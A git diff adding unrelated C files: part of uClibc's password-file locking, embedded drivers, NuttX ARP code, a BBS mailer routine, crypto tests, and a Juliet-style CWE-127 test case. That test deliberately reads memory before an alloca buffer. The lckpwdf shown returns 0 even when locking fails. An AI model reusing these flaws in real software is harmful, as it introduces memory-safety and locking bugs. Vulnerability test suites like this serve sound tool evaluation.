+   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+   Lesser General Public License for more details.
+
+   You should have received a copy of the GNU Lesser General Public
+   License along with the GNU C Library; if not, write to the Free
+   Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
+   02111-1307 USA.  */
+
+#include <features.h>
+#include <fcntl.h>
+#include <signal.h>
+#include <string.h>
+#include <unistd.h>
+#include <sys/file.h>
+#include <paths.h>
+#include <shadow.h>
+
+/* Experimentally off - libc_hidden_proto(memset) */
+libc_hidden_proto(open)
+libc_hidden_proto(fcntl)
+libc_hidden_proto(close)
+libc_hidden_proto(sigfillset)
+libc_hidden_proto(sigaction)
+libc_hidden_proto(sigprocmask)
+libc_hidden_proto(sigaddset)
+libc_hidden_proto(sigemptyset)
+libc_hidden_proto(alarm)
+
+/* How long to wait for getting the lock before returning with an
+   error.  */
+#define TIMEOUT 15 /* sec */
+
+
+/* File descriptor for lock file.  */
+static int lock_fd = -1;
+
+/* Prevent problems in multithreaded program by using mutex.  */
+#include <bits/uClibc_mutex.h>
+__UCLIBC_MUTEX_STATIC(mylock, PTHREAD_MUTEX_INITIALIZER);
+
+
+/* Prototypes for local functions.  */
+static void noop_handler (int __sig);
+
+
+int
+lckpwdf (void)
+{
+  int flags;
+  sigset_t saved_set;			/* Saved set of caught signals.  */
+  struct sigaction saved_act;		/* Saved signal action.  */
+  sigset_t new_set;			/* New set of caught signals.  */
+  struct sigaction new_act;		/* New signal action.  */
+  struct flock fl;			/* Information struct for locking.  */
+  int result;
+  int rv = -1;
+
+  if (lock_fd != -1)
+    /* Still locked by own process.  */
+    return -1;
+
+  /* Prevent problems caused by multiple threads.  */
+  __UCLIBC_MUTEX_LOCK(mylock);
+
+  lock_fd = open (_PATH_PASSWD, O_WRONLY);
+  if (lock_fd == -1) {
+    /* Cannot create lock file.  */
+	goto DONE;
+  }
+
+  /* Make sure file gets correctly closed when process finished.  */
+  flags = fcntl (lock_fd, F_GETFD, 0);
+  if (flags == -1) {
+    /* Cannot get file flags.  */
+    close(lock_fd);
+    lock_fd = -1;
+	goto DONE;
+  }
+  flags |= FD_CLOEXEC;		/* Close on exit.  */
+  if (fcntl (lock_fd, F_SETFD, flags) < 0) {
+    /* Cannot set new flags.  */
+    close(lock_fd);
+    lock_fd = -1;
+	goto DONE;
+  }
+
+  /* Now we have to get exclusive write access.  Since multiple
+     process could try this we won't stop when it first fails.
+     Instead we set a timeout for the system call.  Once the timer
+     expires it is likely that there are some problems which cannot be
+     resolved by waiting.
+
+     It is important that we don't change the signal state.  We must
+     restore the old signal behaviour.  */
+  memset (&new_act, '\0', sizeof (struct sigaction));
+  new_act.sa_handler = noop_handler;
+  sigfillset (&new_act.sa_mask);
+  new_act.sa_flags = 0ul;
+
+  /* Install new action handler for alarm and save old.  */
+  if (sigaction (SIGALRM, &new_act, &saved_act) < 0) {
+    /* Cannot install signal handler.  */
+    close(lock_fd);
+    lock_fd = -1;
+	goto DONE;
+  }
+
+  /* Now make sure the alarm signal is not blocked.  */
+  sigemptyset (&new_set);
+  sigaddset (&new_set, SIGALRM);
+  if (sigprocmask (SIG_UNBLOCK, &new_set, &saved_set) < 0) {
+    sigaction (SIGALRM, &saved_act, NULL);
+    close(lock_fd);
+    lock_fd = -1;
+	goto DONE;
+  }
+
+  /* Start timer.  If we cannot get the lock in the specified time we
+     get a signal.  */
+  alarm (TIMEOUT);
+
+  /* Try to get the lock.  */
+  memset (&fl, '\0', sizeof (struct flock));
+  fl.l_type = F_WRLCK;
+  fl.l_whence = SEEK_SET;
+  result = fcntl (lock_fd, F_SETLKW, &fl);
+
+  /* Clear alarm.  */
+  alarm (0);
+
+  /* Restore old set of handled signals.  We don't need to know
+     about the current one.*/
+  sigprocmask (SIG_SETMASK, &saved_set, NULL);
+
+  /* Restore old action handler for alarm.  We don't need to know
+     about the current one.  */
+  sigaction (SIGALRM, &saved_act, NULL);
+
+  if (result < 0) {
+    close(lock_fd);
+    lock_fd = -1;
+	goto DONE;
+  }
+  rv = 0;
+
+DONE:
+  __UCLIBC_MUTEX_UNLOCK(mylock);
+  return 0;
+}
+
+
+int
+ulckpwdf (void)
+{
+  int result;
+
+  if (lock_fd == -1)
+    /* There is no lock set.  */
+    result = -1;
+  else
+    {
+      /* Prevent problems caused by multiple threads.  */
+	  __UCLIBC_MUTEX_LOCK(mylock);
+
+      result = close (lock_fd);
+
+      /* Mark descriptor as unused.  */
+      lock_fd = -1;
+
+      /* Clear mutex.  */
+	  __UCLIBC_MUTEX_UNLOCK(mylock);
+    }
+
+  return result;
+}
+
+
+static void
+noop_handler (int sig)
+{
+  /* We simply return which makes the `fcntl' call return with an error.  */
+}
diff --git a/pool/shard001/C/0022219_msm_vibrator.c b/pool/shard001/C/0022219_msm_vibrator.c
new file mode 100644
index 0000000000000000000000000000000000000000..bcb2cc081443415b38e77a7735981bc8d9dcae2a
--- /dev/null
+++ b/pool/shard001/C/0022219_msm_vibrator.c
@@ -0,0 +1,146 @@
+/* include/asm/mach-msm/htc_pwrsink.h
+ *
+ * Copyright (C) 2008 HTC Corporation.
+ * Copyright (C) 2007 Google, Inc.
+ *
+ * This software is licensed under the terms of the GNU General Public
+ * License version 2, as published by the Free Software Foundation, and
+ * may be copied, distributed, and modified under those terms.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ */
+#include <linux/kernel.h>
+#include <linux/platform_device.h>
+#include <linux/err.h>
+#include <linux/hrtimer.h>
+#include <../../../drivers/staging/android/timed_output.h>
+#include <linux/sched.h>
+
+#include <mach/msm_rpcrouter.h>
+
+#define PM_LIBPROG      0x30000061
+#if (CONFIG_MSM_AMSS_VERSION == 6220) || (CONFIG_MSM_AMSS_VERSION == 6225)
+#define PM_LIBVERS      0xfb837d0b
+#else
+#define PM_LIBVERS      0x10001
+#endif
+
+#if (CONFIG_MSM_AMSS_VERSION == 6030)
+#define QRD_PROCEDURE_SET_VIB_ON_OFF	22
+#else
+#define HTC_PROCEDURE_SET_VIB_ON_OFF	21
+#endif
+#define PMIC_VIBRATOR_LEVEL	(3000)
+
+static struct work_struct work_vibrator_on;
+static struct work_struct work_vibrator_off;
+static struct hrtimer vibe_timer;
+
+static void set_pmic_vibrator(int on)
+{
+	static struct msm_rpc_endpoint *vib_endpoint;
+	struct set_vib_on_off_req {
+		struct rpc_request_hdr hdr;
+		uint32_t data;
+	} req;
+
+	if (!vib_endpoint) {
+		vib_endpoint = msm_rpc_connect(PM_LIBPROG, PM_LIBVERS, 0);
+		if (IS_ERR(vib_endpoint)) {
+			printk(KERN_ERR "init vib rpc failed!\n");
+			vib_endpoint = 0;
+			return;
+		}
+	}
+
+
+	if (on)
+		req.data = cpu_to_be32(PMIC_VIBRATOR_LEVEL);
+	else
+		req.data = cpu_to_be32(0);
+
+#if (CONFIG_MSM_AMSS_VERSION == 6030)
+	msm_rpc_call(vib_endpoint, QRD_PROCEDURE_SET_VIB_ON_OFF, &req,
+		sizeof(req), 5 * HZ);
+#else
+	msm_rpc_call(vib_endpoint, HTC_PROCEDURE_SET_VIB_ON_OFF, &req,
+		sizeof(req), 5 * HZ);
+#endif
+}
+
+static void pmic_vibrator_on(struct work_struct *work)
+{
+	set_pmic_vibrator(1);
+}
+
+static void pmic_vibrator_off(struct work_struct *work)
+{
+	set_pmic_vibrator(0);
+}
+
+static void timed_vibrator_on(struct timed_output_dev *sdev)
+{
+	schedule_work(&work_vibrator_on);
+}
+
+static void timed_vibrator_off(struct timed_output_dev *sdev)
+{
+	schedule_work(&work_vibrator_off);
+}
+
+static void vibrator_enable(struct timed_output_dev *dev, int value)
+{
+	hrtimer_cancel(&vibe_timer);
+
+	if (value == 0)
+		timed_vibrator_off(dev);
+	else {
+		value = (value > 15000 ? 15000 : value);
+
+		timed_vibrator_on(dev);
+
+		hrtimer_start(&vibe_timer,
+			      ktime_set(value / 1000, (value % 1000) * 1000000),
+			      HRTIMER_MODE_REL);
+	}
+}
+
+static int vibrator_get_time(struct timed_output_dev *dev)
+{
+	if (hrtimer_active(&vibe_timer)) {
+		ktime_t r = hrtimer_get_remaining(&vibe_timer);
+		return r.tv.sec * 1000 + r.tv.nsec / 1000000;
+	} else
+		return 0;
+}
+
+static enum hrtimer_restart vibrator_timer_func(struct hrtimer *timer)
+{
+	timed_vibrator_off(NULL);
+	return HRTIMER_NORESTART;
+}
+
+static struct timed_output_dev pmic_vibrator = {
+	.name = "vibrator",
+	.get_time = vibrator_get_time,
+	.enable = vibrator_enable,
+};
+
+void __init msm_init_pmic_vibrator(void)
+{
+	INIT_WORK(&work_vibrator_on, pmic_vibrator_on);
+	INIT_WORK(&work_vibrator_off, pmic_vibrator_off);
+
+	hrtimer_init(&vibe_timer, CLOCK_MONOTONIC, HRTIMER_MODE_REL);
+	vibe_timer.function = vibrator_timer_func;
+
+	timed_output_dev_register(&pmic_vibrator);
+}
+
+MODULE_DESCRIPTION("timed output pmic vibrator device");
+MODULE_LICENSE("GPL");
+
diff --git a/pool/shard001/C/0022223_special_pythagorean_triplet.c b/pool/shard001/C/0022223_special_pythagorean_triplet.c
new file mode 100644
index 0000000000000000000000000000000000000000..a6909997b8614c7361e335ceb761532d0129a456
--- /dev/null
+++ b/pool/shard001/C/0022223_special_pythagorean_triplet.c
@@ -0,0 +1,41 @@
+/**
+ * Special pythagorean triplet.
+ * https://projecteuler.net/problem=9
+ */
+
+#include <assert.h>
+
+unsigned long long pythagorean(int a, int b)
+{
+    return (unsigned long long) a * a + b * b;
+}
+
+/**
+ * a^2 + b^2 = (s-a-b)^2  where a < b < c
+ *
+ * @param int limit
+ *
+ * @return
+ */
+unsigned long long product_pythagorean_triplet(int limit)
+{
+    for (int a = 3; a < (limit - 3) / 3; a++) {
+        for (int b = a + 1; b < (limit - a - 1) / 2; b++) {
+            int c = limit - a - b;
+            if (c * c == pythagorean(a, b)) {
+                return (unsigned long long) a * b * c;
+            }
+        }
+    }
+
+    return 0;
+}
+
+int main()
+{
+    assert(12180 == product_pythagorean_triplet(70));
+    assert(31875000 == product_pythagorean_triplet(1000));
+    assert(31875000000 == product_pythagorean_triplet(10000));
+
+    return 0;
+}
diff --git a/pool/shard001/C/0022251_arp_notify.c b/pool/shard001/C/0022251_arp_notify.c
new file mode 100644
index 0000000000000000000000000000000000000000..4326d23c1740ec815b22326de915f5a58551aa6e
--- /dev/null
+++ b/pool/shard001/C/0022251_arp_notify.c
@@ -0,0 +1,252 @@
+/****************************************************************************
+ * net/arp/arp_notify.c
+ *
+ *   Copyright (C) 2014 Gregory Nutt. All rights reserved.
+ *   Author: Gregory Nutt <gnutt@nuttx.org>
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in
+ *    the documentation and/or other materials provided with the
+ *    distribution.
+ * 3. Neither the name NuttX nor the names of its contributors may be
+ *    used to endorse or promote products derived from this software
+ *    without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+ * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+ * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+ * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+ * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
+ * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
+ * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
+ * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
+ * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
+ * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+ * POSSIBILITY OF SUCH DAMAGE.
+ *
+ ****************************************************************************/
+
+/****************************************************************************
+ * Included Files
+ ****************************************************************************/
+
+#include <nuttx/config.h>
+
+#include <time.h>
+#include <semaphore.h>
+#include <errno.h>
+#include <debug.h>
+
+#include <netinet/in.h>
+
+#include <nuttx/net/net.h>
+#include <arch/irq.h>
+
+#include "arp/arp.h"
+
+#ifdef CONFIG_NET_ARP_SEND
+
+/****************************************************************************
+ * Pre-processor Definitions
+ ****************************************************************************/
+
+/****************************************************************************
+ * Private Types
+ ****************************************************************************/
+
+/****************************************************************************
+ * Private Data
+ ****************************************************************************/
+
+/* List of tasks waiting for ARP events */
+
+static struct arp_notify_s *g_arp_waiters;
+
+/****************************************************************************
+ * Private Functions
+ ****************************************************************************/
+
+/****************************************************************************
+ * Public Functions
+ ****************************************************************************/
+
+/****************************************************************************
+ * Function: arp_wait_setup
+ *
+ * Description:
+ *   Called BEFORE an ARP request is sent.  This function sets up the ARP
+ *   response timeout before the the ARP request is sent so that there is
+ *   no race condition when arp_wait() is called.
+ *
+ * Assumptions:
+ *   This function is called from ARP send and executes in the normal
+ *   tasking environment.
+ *
+ ****************************************************************************/
+
+void arp_wait_setup(in_addr_t ipaddr, FAR struct arp_notify_s *notify)
+{
+  irqstate_t flags;
+
+  /* Initialize the wait structure */
+
+  notify->nt_ipaddr = ipaddr;
+  notify->nt_result = -ETIMEDOUT;
+  (void)sem_init(&notify->nt_sem, 0, 0);
+
+  /* Add the wait structure to the list with interrupts disabled */
+
+  flags             = irqsave();
+  notify->nt_flink  = g_arp_waiters;
+  g_arp_waiters     = notify;
+  irqrestore(flags);
+}
+
+/****************************************************************************
+ * Function: arp_wait_cancel
+ *
+ * Description:
+ *   Cancel any wait set after arp_wait_setup is called but before arp_wait()
+ *   is called (arp_wait() will automatically cancel the wait).
+ *
+ * Assumptions:
+ *   This function may execute in the interrupt context when called from
+ *   arp_wait().
+ *
+ ****************************************************************************/
+
+int arp_wait_cancel(FAR struct arp_notify_s *notify)
+{
+  FAR struct arp_notify_s *curr;
+  FAR struct arp_notify_s *prev;
+  irqstate_t flags;
+  int ret = -ENOENT;
+
+  /* Remove our wait structure from the list (we may no longer be at the
+   * head of the list).
+   */
+
+  flags = irqsave();
+  for (prev = NULL, curr = g_arp_waiters;
+       curr && curr != notify;
+       prev = curr, curr = curr->nt_flink);
+
+  DEBUGASSERT(curr && curr == notify);
+  if (curr)
+    {
+      if (prev)
+        {
+          prev->nt_flink = notify->nt_flink;
+        }
+      else
+        {
+          g_arp_waiters = notify->nt_flink;
+        }
+
+      ret = OK;
+    }
+
+  irqrestore(flags);
+  (void)sem_destroy(&notify->nt_sem);
+  return ret;
+}
+
+/****************************************************************************
+ * Function: arp_wait
+ *
+ * Description:
+ *   Called each time that a ARP request is sent.  This function will sleep
+ *   until either: (1) the matching ARP response is received, or (2) a
+ *   timeout occurs.
+ *
+ * Assumptions:
+ *   This function is called from ARP send must execute with the network
+ *   locked.
+ *
+ ****************************************************************************/
+
+int arp_wait(FAR struct arp_notify_s *notify, FAR struct timespec *timeout)
+{
+  struct timespec abstime;
+  irqstate_t flags;
+  int ret;
+
+  /* And wait for the ARP response (or a timeout).  Interrupts will be re-
+   * enabled while we wait.
+   */
+
+  flags = irqsave();
+  DEBUGVERIFY(clock_gettime(CLOCK_REALTIME, &abstime));
+
+  abstime.tv_sec  += timeout->tv_sec;
+  abstime.tv_nsec += timeout->tv_nsec;
+  if (abstime.tv_nsec >= 1000000000)
+    {
+      abstime.tv_sec++;
+      abstime.tv_nsec -= 1000000000;
+    }
+
+   /* REVISIT:  If net_timedwait() is awakened with  signal, we will return
+    * the wrong error code.
+    */
+
+  (void)net_timedwait(&notify->nt_sem, &abstime);
+  ret = notify->nt_result;
+
+  /* Remove our wait structure from the list (we may no longer be at the
+   * head of the list).
+   */
+
+  (void)arp_wait_cancel(notify);
+
+  /* Re-enable interrupts and return the result of the wait */
+
+  irqrestore(flags);
+  return ret;
+}
+
+/****************************************************************************
+ * Function: arp_notify
+ *
+ * Description:
+ *   Called each time that a ARP response is received in order to wake-up
+ *   any threads that may be waiting for this particular ARP response.
+ *
+ * Assumptions:
+ *   This function is called from the MAC device driver indirectly through
+ *   arp_arpin() will execute with the network locked.
+ *
+ ****************************************************************************/
+
+void arp_notify(in_addr_t ipaddr)
+{
+  FAR struct arp_notify_s *curr;
+
+  /* Find an entry with the matching IP address in the list of waiters */
+
+  for (curr = g_arp_waiters; curr; curr = curr->nt_flink)
+    {
+      /* Does this entry match?  If the result is okay, then we have
+       * already notified this waiter and it has not yet taken the
+       * entry from the list.
+       */
+
+      if (curr->nt_result != OK && curr->nt_ipaddr == ipaddr)
+        {
+          /* Yes.. Signal the waiting, returning success */
+
+          curr->nt_result = OK;
+          sem_post(&curr->nt_sem);
+          break;
+        }
+    }
+}
+
+#endif /* CONFIG_NET_ARP_SEND */
diff --git a/pool/shard001/C/0022255_answer.c b/pool/shard001/C/0022255_answer.c
new file mode 100644
index 0000000000000000000000000000000000000000..2a7cc7a7addfe0595d41deb0c47a6ff0564ebbfa
--- /dev/null
+++ b/pool/shard001/C/0022255_answer.c
@@ -0,0 +1,157 @@
+/*****************************************************************************
+ *
+ * $Id: answer.c,v 1.15 2005/10/16 11:37:54 mbse Exp $
+ * Purpose ...............: Fidonet mailer - awnser a call
+ *
+ *****************************************************************************
+ * Copyright (C) 1997-2005
+ *   
+ * Michiel Broek		FIDO:	2:280/2802
+ * Beekmansbos 10
+ * 1971 BV IJmuiden
+ * the Netherlands
+ *
+ * This file is part of MBSE BBS.
+ *
+ * This BBS is free software; you can redistribute it and/or modify it
+ * under the terms of the GNU General Public License as published by the
+ * Free Software Foundation; either version 2, or (at your option) any
+ * later version.
+ *
+ * MBSE BBS is distributed in the hope that it will be useful, but
+ * WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * General Public License for more details.
+ * 
+ * You should have received a copy of the GNU General Public License
+ * along with MBSE BBS; see the file COPYING.  If not, write to the Free
+ * Software Foundation, 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA.
+ *****************************************************************************/
+
+#include "../config.h"
+#include "../lib/mbselib.h"
+#include "../lib/users.h"
+#include "../lib/nodelist.h"
+#include "../lib/mbsedb.h"
+#include "lutil.h"
+#include "session.h"
+#include "config.h"
+#include "answer.h"
+#include "openport.h"
+#include "portsel.h"
+#include "dial.h"
+#include "rdoptions.h"
+#include "mbcico.h"
+
+
+extern int		carrier, online;
+extern time_t		c_start, c_end;
+extern unsigned int	sentbytes;
+extern unsigned int	rcvdbytes;
+extern int		Loaded;
+
+int answer(char *stype)
+{
+    int	    st, rc;
+    char    *p, *q;
+    FILE    *fp;
+
+    /*
+     *  mgetty set's the environment variable CONNECT and CALLER_ID,
+     *  so if they are present, we might as well make log entries.
+     */
+    if ((q = getenv("CONNECT")) != NULL)
+	Syslog('+', "CONNECT %s", q);
+    if ((q = getenv("CALLER_ID")) != NULL)
+	if (strncmp(q, "none", 4))
+	    Syslog('+', "CALLER  %s", q);
+
+    /*
+     *  Incoming calls from modem/ISDN lines do have a tty.
+     *  Network calls don't have a tty attached.
+     */
+    carrier = TRUE;
+    p = ttyname(0);
+    if (p) {
+	q = strrchr(ttyname(0), '/');
+	if (q)
+	    p = q + 1;
+	strncpy(history.tty, p, 6);
+	if (load_port(p))
+	    Syslog('d', "Port %s, modem %s", ttyinfo.tty, modem.modem);
+	else
+	    Syslog('d', "Port and modem not loaded!");
+    }
+
+    if ((nlent = getnlent(NULL)) == NULL) {
+	WriteError("could not get dummy nodelist entry");
+	return MBERR_NODE_NOT_IN_LIST;
+    }
+
+    c_start = time(NULL);
+    rdoptions(FALSE);
+
+    if (stype == NULL) {
+	st=SESSION_UNKNOWN;
+    } else if (strcmp(stype,"tsync") == 0) {
+	st=SESSION_FTSC;
+	IsDoing("Answer ftsc");
+    } else if (strcmp(stype,"yoohoo") == 0) {
+	st=SESSION_YOOHOO;
+	IsDoing("Answer yoohoo");
+    } else if (strncmp(stype,"**EMSI_",7) == 0) {
+	st=SESSION_EMSI;
+	IsDoing("Answer EMSI");
+    } else if (strncmp(stype,"ibn",3) == 0) {
+	st=SESSION_BINKP;
+	IsDoing("Answer binkp");
+    } else {
+	st=SESSION_UNKNOWN;
+	IsDoing("Answer unknown");
+    }
+
+    if ((rc = rawport()) != 0)
+	WriteError("Unable to set raw mode");
+    else {
+	nolocalport();
+	rc = session(NULL,NULL,SESSION_SLAVE,st,stype);
+    }
+
+    cookedport();
+    if (p) {
+	/*
+	 *  Hangup will write the history record.
+	 */
+	hangup();
+    } else {
+	/*
+	 *  Network call, write history record.
+	 */
+	c_end = time(NULL);
+	online += (c_end - c_start);
+
+	history.online  = (int)c_start;
+	history.offline = (int)c_end;
+	history.sent_bytes = sentbytes;
+	history.rcvd_bytes = rcvdbytes;
+	history.inbound = TRUE;
+
+	p = calloc(PATH_MAX, sizeof(char));
+	snprintf(p, PATH_MAX -1, "%s/var/mailer.hist", getenv("MBSE_ROOT"));
+	if ((fp = fopen(p, "a")) == NULL)
+	    WriteError("$Can't open %s", p);
+	else {
+	    fwrite(&history, sizeof(history), 1, fp);
+	    fclose(fp);
+	}
+	free(p);
+	
+	if (Loaded) {
+	    nodes.LastDate = (int32_t)time(NULL);
+	    UpdateNode();
+	}
+    }
+    return rc;
+}
+
+
diff --git a/pool/shard001/C/0022259_CWE127_Buffer_Underread__wchar_t_alloca_memmove_08.c b/pool/shard001/C/0022259_CWE127_Buffer_Underread__wchar_t_alloca_memmove_08.c
new file mode 100644
index 0000000000000000000000000000000000000000..6f9419e84e373b229948fa4bd39ddd4789343e03
--- /dev/null
+++ b/pool/shard001/C/0022259_CWE127_Buffer_Underread__wchar_t_alloca_memmove_08.c
@@ -0,0 +1,150 @@
+/* TEMPLATE GENERATED TESTCASE FILE
+Filename: CWE127_Buffer_Underread__wchar_t_alloca_memmove_08.c
+Label Definition File: CWE127_Buffer_Underread.stack.label.xml
+Template File: sources-sink-08.tmpl.c
+*/
+/*
+ * @description
+ * CWE: 127 Buffer Under-read
+ * BadSource:  Set data pointer to before the allocated memory buffer
+ * GoodSource: Set data pointer to the allocated memory buffer
+ * Sink: memmove
+ *    BadSink : Copy data to string using memmove
+ * Flow Variant: 08 Control flow: if(staticReturnsTrue()) and if(staticReturnsFalse())
+ *
+ * */
+
+#include "std_testcase.h"
+
+#include <wchar.h>
+
+/* The two function below always return the same value, so a tool
+ * should be able to identify that calls to the functions will always
+ * return a fixed value.
+ */
+static int staticReturnsTrue()
+{
+    return 1;
+}
+
+static int staticReturnsFalse()
+{
+    return 0;
+}
+
+#ifndef OMITBAD
+
+void CWE127_Buffer_Underread__wchar_t_alloca_memmove_08_bad()
+{
+    wchar_t * data;
+    wchar_t * dataBuffer = (wchar_t *)ALLOCA(100*sizeof(wchar_t));
+    wmemset(dataBuffer, L'A', 100-1);
+    dataBuffer[100-1] = L'\0';
+    if(staticReturnsTrue())
+    {
+        /* FLAW: Set data pointer to before the allocated memory buffer */
+        data = dataBuffer - 8;
+    }
+    {
+        wchar_t dest[100];
+        wmemset(dest, L'C', 100-1); /* fill with 'C's */
+        dest[100-1] = L'\0'; /* null terminate */
+        /* POTENTIAL FLAW: Possibly copy from a memory location located before the source buffer */
+        memmove(dest, data, 100*sizeof(wchar_t));
+        /* Ensure null termination */
+        dest[100-1] = L'\0';
+        printWLine(dest);
+    }
+}
+
+#endif /* OMITBAD */
+
+#ifndef OMITGOOD
+
+/* goodG2B1() - use goodsource and badsink by changing the staticReturnsTrue() to staticReturnsFalse() */
+static void goodG2B1()
+{
+    wchar_t * data;
+    wchar_t * dataBuffer = (wchar_t *)ALLOCA(100*sizeof(wchar_t));
+    wmemset(dataBuffer, L'A', 100-1);
+    dataBuffer[100-1] = L'\0';
+    if(staticReturnsFalse())
+    {
+        /* INCIDENTAL: CWE 561 Dead Code, the code below will never run */
+        printLine("Benign, fixed string");
+    }
+    else
+    {
+        /* FIX: Set data pointer to the allocated memory buffer */
+        data = dataBuffer;
+    }
+    {
+        wchar_t dest[100];
+        wmemset(dest, L'C', 100-1); /* fill with 'C's */
+        dest[100-1] = L'\0'; /* null terminate */
+        /* POTENTIAL FLAW: Possibly copy from a memory location located before the source buffer */
+        memmove(dest, data, 100*sizeof(wchar_t));
+        /* Ensure null termination */
+        dest[100-1] = L'\0';
+        printWLine(dest);
+    }
+}
+
+/* goodG2B2() - use goodsource and badsink by reversing the blocks in the if statement */
+static void goodG2B2()
+{
+    wchar_t * data;
+    wchar_t * dataBuffer = (wchar_t *)ALLOCA(100*sizeof(wchar_t));
+    wmemset(dataBuffer, L'A', 100-1);
+    dataBuffer[100-1] = L'\0';
+    if(staticReturnsTrue())
+    {
+        /* FIX: Set data pointer to the allocated memory buffer */
+        data = dataBuffer;
+    }
+    {
+        wchar_t dest[100];
+        wmemset(dest, L'C', 100-1); /* fill with 'C's */
+        dest[100-1] = L'\0'; /* null terminate */
+        /* POTENTIAL FLAW: Possibly copy from a memory location located before the source buffer */
+        memmove(dest, data, 100*sizeof(wchar_t));
+        /* Ensure null termination */
+        dest[100-1] = L'\0';
+        printWLine(dest);
+    }
+}
+
+void CWE127_Buffer_Underread__wchar_t_alloca_memmove_08_good()
+{
+    goodG2B1();
+    goodG2B2();
+}
+
+#endif /* OMITGOOD */
+
+/* Below is the main(). It is only used when building this testcase on
+ * its own for testing or for building a binary to use in testing binary
+ * analysis tools. It is not used when compiling all the testcases as one
+ * application, which is how source code analysis tools are tested.
+ */
+
+#ifdef INCLUDEMAIN
+
+int main(int argc, char * argv[])
+{
+    /* seed randomness */
+    srand( (unsigned)time(NULL) );
+#ifndef OMITGOOD
+    printLine("Calling good()...");
+    CWE127_Buffer_Underread__wchar_t_alloca_memmove_08_good();
+    printLine("Finished good()");
+#endif /* OMITGOOD */
+#ifndef OMITBAD
+    printLine("Calling bad()...");
+    CWE127_Buffer_Underread__wchar_t_alloca_memmove_08_bad();
+    printLine("Finished bad()");
+#endif /* OMITBAD */
+    return 0;
+}
+
+#endif
diff --git a/pool/shard001/C/0022267_main-a5_1-test.c b/pool/shard001/C/0022267_main-a5_1-test.c
new file mode 100644
index 0000000000000000000000000000000000000000..d9d6abcf65db7dc130dcb8c5e753f412b77cab03
--- /dev/null
+++ b/pool/shard001/C/0022267_main-a5_1-test.c
@@ -0,0 +1,79 @@
+/* main-a5_1-test.c */
+/*
+    This file is part of the AVR-Crypto-Lib.
+    Copyright (C) 2008  Daniel Otte (daniel.otte@rub.de)
+
+    This program is free software: you can redistribute it and/or modify
+    it under the terms of the GNU General Public License as published by
+    the Free Software Foundation, either version 3 of the License, or
+    (at your option) any later version.
+
+    This program is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+    GNU General Public License for more details.
+
+    You should have received a copy of the GNU General Public License
+    along with this program.  If not, see <http://www.gnu.org/licenses/>.
+*/
+/*
+ * A5/1 test-suit
+ * 
+*/
+
+#include "main-test-common.h"
+
+#include "A5_1.h"
+#include "nessie_stream_test.h"
+
+char *algo_name = "A5_1";
+
+/*****************************************************************************
+ *  additional validation-functions											 *
+ *****************************************************************************/
+void a51_genctx_dummy(uint8_t *key, uint16_t keysize, void *ctx){
+	a5_1_init(ctx,key, keysize, NULL, 0);
+}
+
+
+
+void testrun_nessie_a51(void){
+	nessie_stream_ctx.outsize_b =   8; /* actually unused */
+	nessie_stream_ctx.keysize_b =  64; 
+	nessie_stream_ctx.ivsize_b =   64;
+	nessie_stream_ctx.name = algo_name;
+	nessie_stream_ctx.ctx_size_B = sizeof(a5_1_ctx_t);
+	nessie_stream_ctx.cipher_genctx = (nessie_stream_genctx_fpt)a51_genctx_dummy;
+	nessie_stream_ctx.cipher_enc = (nessie_stream_genenc_fpt)a5_1_gen;
+	
+	nessie_stream_run();	
+}
+
+
+
+/*****************************************************************************
+ *  main																	 *
+ *****************************************************************************/
+
+const char nessie_str[]      PROGMEM = "nessie";
+const char test_str[]        PROGMEM = "test";
+const char testkey_str[]     PROGMEM = "testkey";
+const char performance_str[] PROGMEM = "performance";
+const char echo_str[]        PROGMEM = "echo";
+
+const cmdlist_entry_t cmdlist[] PROGMEM = {
+	{ nessie_str,      NULL, testrun_nessie_a51, NULL},
+/*	{ performance_str, NULL, testrun_performance_a51, NULL}, */
+	{ echo_str,    (void*)1, (void_fpt)echo_ctrl, NULL},
+	{ NULL,            NULL, NULL, NULL}
+};
+
+int main (void){
+    main_setup();
+	for(;;){
+        welcome_msg(algo_name);
+        cmd_interface(cmdlist);
+	}
+	
+}
+
diff --git a/pool/shard001/C/0022271_cros_ec_accel_legacy.c b/pool/shard001/C/0022271_cros_ec_accel_legacy.c
new file mode 100644
index 0000000000000000000000000000000000000000..68e847c6255e37f40acea684ec422b582016d1ba
--- /dev/null
+++ b/pool/shard001/C/0022271_cros_ec_accel_legacy.c
@@ -0,0 +1,212 @@
+// SPDX-License-Identifier: GPL-2.0
+/*
+ * Driver for older Chrome OS EC accelerometer
+ *
+ * Copyright 2017 Google, Inc
+ *
+ * This driver uses the memory mapper cros-ec interface to communicate
